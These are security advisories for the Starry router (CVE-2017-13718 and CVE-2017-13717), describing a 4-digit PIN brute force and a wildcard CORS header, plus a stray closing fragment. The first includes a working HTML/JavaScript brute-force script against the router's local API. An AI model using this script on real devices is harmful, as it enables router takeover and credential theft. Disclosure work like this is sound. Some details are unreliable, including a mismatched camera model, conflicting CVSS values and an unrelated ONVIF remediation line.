
1) SIG-EXT-08-2017-01 (Account PIN can be bruteforced) -- CVE-
2017-13718 

 

Introduction 

------------------------------------------------------------------------------------------------- 

Recently it was identified that the HTTP API supported by Starry router camera allows to brute 
force the PIN setup by the user on the device and this allows an attacker to change wifi setting, 
PIN as well as port forward and expose any internal device’s port to the Internet as a part of the 
research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as 
an IP camera and allows an user to view and control the settings on the device. 

Advisory  

------------------------------------------------------------------------------------------------- 

 Overview 

 ------------------------------------------------------------------------------------------------- 

Synopsys Software Integrity Group staff identified that the HTTP API supported by Starry router 
camera allows to brute force the PIN setup by the user on the device and this allows an attacker 
to change wifi setting, PIN as well as port forward and expose any internal device’s port to the 
Internet.. 

 High Severity Rating 

Using CVSS3, it has vector 
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:F/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:L/MP
R:L/MUI:R/MC:H/MI:H/MA:H 

  Base Metrics 

• Access Vector (AV): Network (N):   
• Access Complexity (AC): High (H):   
• Privileges Required (PR): Low (L):  
• User Interaction (UI): Required (R):  
• Scope (S): Unchanged (U):  
• Confidentiality Impact (C): Complete (C):  
• Integrity Impact (I): Complete (C):  
• Availability Impact (A): Complete (C):  
• Resulting base score: 8.0 (High) 

  Temporal Metrics 

• Exploit Code Maturity (F):    



• Remediation Level (RL): Unavailable (U). 
• Report Confidence (RC): Confirmed (C): On the basis of functional exploit written. 
• Resulting temporal score: 7.8 (High). 

  Environmental Metrics 

• Confidentiality Requirement (CR): Med (M):  
• Integrity Requirement (IR): Med (M):  
• Availability Requirement (AR): Med (M) 
• Resulting environmental score: 7.8 (High). 

   The final score is thus 7.8 (High).  

     

Vulnerable Versions  

------------------------------------------------------------------------------------------------- 

All versions of Starry router up to the latest firmware contain the vulnerability. Also in addition 
since the devices share similar code, based on just static firmware analysis, it seems that other 
Starry devices up to the latest version should be vulnerable as well. 

 

Steps to Reproduce 

------------------------------------------------------------------------------------------------- 

1) Create an HTML file called brute.html  

<html> 
<body> 
 <script> 
 
 
  function authenticateUser(user, password) 
  { 
   var token = user + ":" + password; 
 
   // Should i be encoding this value????? does it matter??? 
   // Base64 Encoding -> btoa 
   var hash = btoa(token);  
 
   return "Basic " + hash; 
  } 
 
  function CallWebAPI(i)  
  { 



   j=i; 
   // New XMLHTTPRequest 
   var request = new XMLHttpRequest(); 
   request.onreadystatechange=function()  
   { 
    if (request.readyState === 4) 
    {   //if complete 
     if(request.status === 200) 
     {   
      alert("The pin is "+i); 
      alert(request.responseText); 
      return; 
     }  
     else  
     { 
      //alert(1); //otherwise, some other code was 
returned 
      CallWebAPI(++i); 
     } 
    }  
   } 
   request.open("GET", "http://192.168.99.1:3031/usersites", false); 
   
   request.setRequestHeader("Authorization", authenticateUser(i, ''));   
   request.send(); 
   // view request status    
    
 
  } 
 
CallWebAPI(0000); 
 
 
 </script> 
<div> 
<div id="response"> 
 
</div> 
 
</body> 
</html> 
2) Then host the HTML page on your web server or navigate to it locally 
3) This will start brute forcing the PIN  



Note: Since the PIN is only 4 digit long it has to go at a maximum through 9999 combinations 
before the device is successfully bruteforced. 

Vulnerability Description 

------------------------------------------------------------------------------------------------- 

Synopsys Software Integrity Group staff identified that the HTTP API supported by Starry router 
camera allows to brute force the PIN setup by the user on the device and this allows an attacker 
to change wifi setting, PIN as well as port forward and expose any internal device’s port to the 
Internet. 

It was identified that the device uses custom Python code called “rodman” that allows the 
mobile appication to interact with the device. The APIs that are a part of this rodman python file 
allow the mobile application to interact with the device using a secret which is a uuid4 based 
session identifier generated by the device the first time it is set up. However in some cases these 
APIs can also use a security code. This security code is nothing but the PIN number set bby the 
user to interact with the device when using touch interface on the router. 

 

 

This allows an attacker on the Internet to interact with the router’s HTTP interface when a user 
might navigate to the attacker’s website and brute force the credentials. Also since the device’s 
server sets up Allow-origin header to “*”, an attacker can easily interact with the JSON payload 
returned by the device and steal sensitive information about the device as shown in the images 
below. 



 

 

 



 

Exploitation 

------------------------------------------------------------------------------------------------- 

It is very easy to execute a command of an attacker’s choice. To exploit the situation an attacker 
has to trick a user into navigating to his/her site via a phishing attack .An attacker on the 
Internet can then easily interact with the router’s HTTP interface when a user navigates to the 
attacker’s website and brute force the credentials. Also since the device’s server sets up Access-
Control-Allow-Origin header to “*”, an attacker can easily interact with the JSON payload 
returned by the device and steal sensitive information about the device as shown in the images 
below. 

Vulnerability discovery 

------------------------------------------------------------------------------------------------- 

The vulnerability was discovered simply by performing reverse engineering the firmware and 
web application pentest on the web management interface of the Starry router. 

Contact 

------------------------------------------------------------------------------------------------- 

Direct questions to Mandar Satam Sr. Sec Researcher Synopsys SIG, satam@synopsys.com 

Remediation 

------------------------------------------------------------------------------------------------- 

It is necessary for the developers to restrict allow-access from attribute to specific domains that 
are allowed to use the flash for making requests to the device. Also the device should not allow 
any of the HTTP APIs to be accessed by just using the PIN number. 
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2) SIG-EXT-08-2017-02 (HTML5 CORS ORIGIN set with Wildcard) -- 
CVE-2017-13717 

 

Introduction 

------------------------------------------------------------------------------------------------- 

Recently it was identified that a cross domain origin header Access-Control-Allow-Origin was 
identified to be set to wildcard which allowed any website on the Internet to interact with the 
device. This device acts as a smart wireless router. 

Advisory  

------------------------------------------------------------------------------------------------- 

 Overview 

 ------------------------------------------------------------------------------------------------- 

Synopsys Software Integrity Group staff identified that a cross domain origin header Access-
Control-Allow-Origin was identified to be set to wildcard which allowed any website on the 
Internet to interact with the device. 

 High Severity Rating 

Using CVSS3, it has vector 
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/MPR:
N/MUI:R/MS:U/MC:H/MI:H/MA:H 

  Base Metrics 

• Access Vector (AV): Network (N):   
• Attack Complexity (AC): Low (L):   
• Privileges Required (PR): None (N):  
• User Interaction (UI): Required (R):  
• Scope (S): Unchanged (U):  
• Confidentiality Impact (C): High (H)  
• Integrity Impact (I): High (H) 
• Availability Impact (A): High (H)  
• Resulting base score: 8.8 (High) 

  Temporal Metrics 

• Exploit Code Maturity (F):    
• Remediation Level (RL): Unavailable (U). 
• Report Confidence (RC): Confirmed (C). 
• Resulting temporal score: 8.6 (High). 

  Environmental Metrics 



• Confidentiality Requirement (CR): High (H) 
• Integrity Requirement (IR): High (H) 
• Availability Requirement (AR): High (H) 
• Resulting environmental score: 8.6 (High). 

  The final score is thus 8.6 (High).  

Vulnerable Versions  

------------------------------------------------------------------------------------------------- 

All versions of Starry router up to the latest firmware contain the vulnerability. Also in addition 
since the devices share similar code, based on just static firmware analysis, it seems that other 
Starry devices up to the latest version should be vulnerable as well. 

Steps to Reproduce 

------------------------------------------------------------------------------------------------- 

1) Navigate to the http://IP_ADDRESS:3031/usersites 
2) Observe that the device sends all the HTTP response headers which has Access-Control-

Allow-Origin set to asterisk * 

 

http://ip_address:3031/usersites


Vulnerability Description 

------------------------------------------------------------------------------------------------- 

The device sets Access-Control-Allow-Origin header to be set to “*”. This allows any hosted file 
on any domain to make calls to the device’s webserver and brute force the credentials and pull 
any information that is stored on the device. In this case, user’s wifi credentials are stored in 
clear text on the device and can be pulled easily. 

Exploitation 

------------------------------------------------------------------------------------------------- 

It is very easy to execute a command of an attacker’s choice. To exploit the situation an attacker 
has to trick a user into navigating to his/her site via a phishing attack. After that the website 
should be able to interact with the device’s webserver and brute force the PIN on the device. 

Vulnerability discovery 

------------------------------------------------------------------------------------------------- 

The vulnerability was discovered simply by performing reverse engineering the firmware and 
web application pentest on the web management interface of the IP-camera. 

Contact 

------------------------------------------------------------------------------------------------- 

Direct questions to Mandar Satam Sr. Sec Researcher Synopsys SIG, satam@synopsys.com 

Remediation 

------------------------------------------------------------------------------------------------- 

It is necessary for the developers to restrict allow-access from attribute to specific domains that 
are allowed to use the flash for making requests to the device.  
 
 

.  
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Vulnerability discovery 

------------------------------------------------------------------------------------------------- 



The vulnerability was discovered simply by performing reverse engineering the firmware and 
web application pentest on the web management interface of the Starry router. 

 

Contact 

------------------------------------------------------------------------------------------------- 

Direct questions to Mandar Satam,Sr. Sec Researcher Synopsys SIG, satam@synopsys.com 

 

Remediation 

------------------------------------------------------------------------------------------------- 

This account timeout policy needs to be implemented even in the ONVIF authentication check. 
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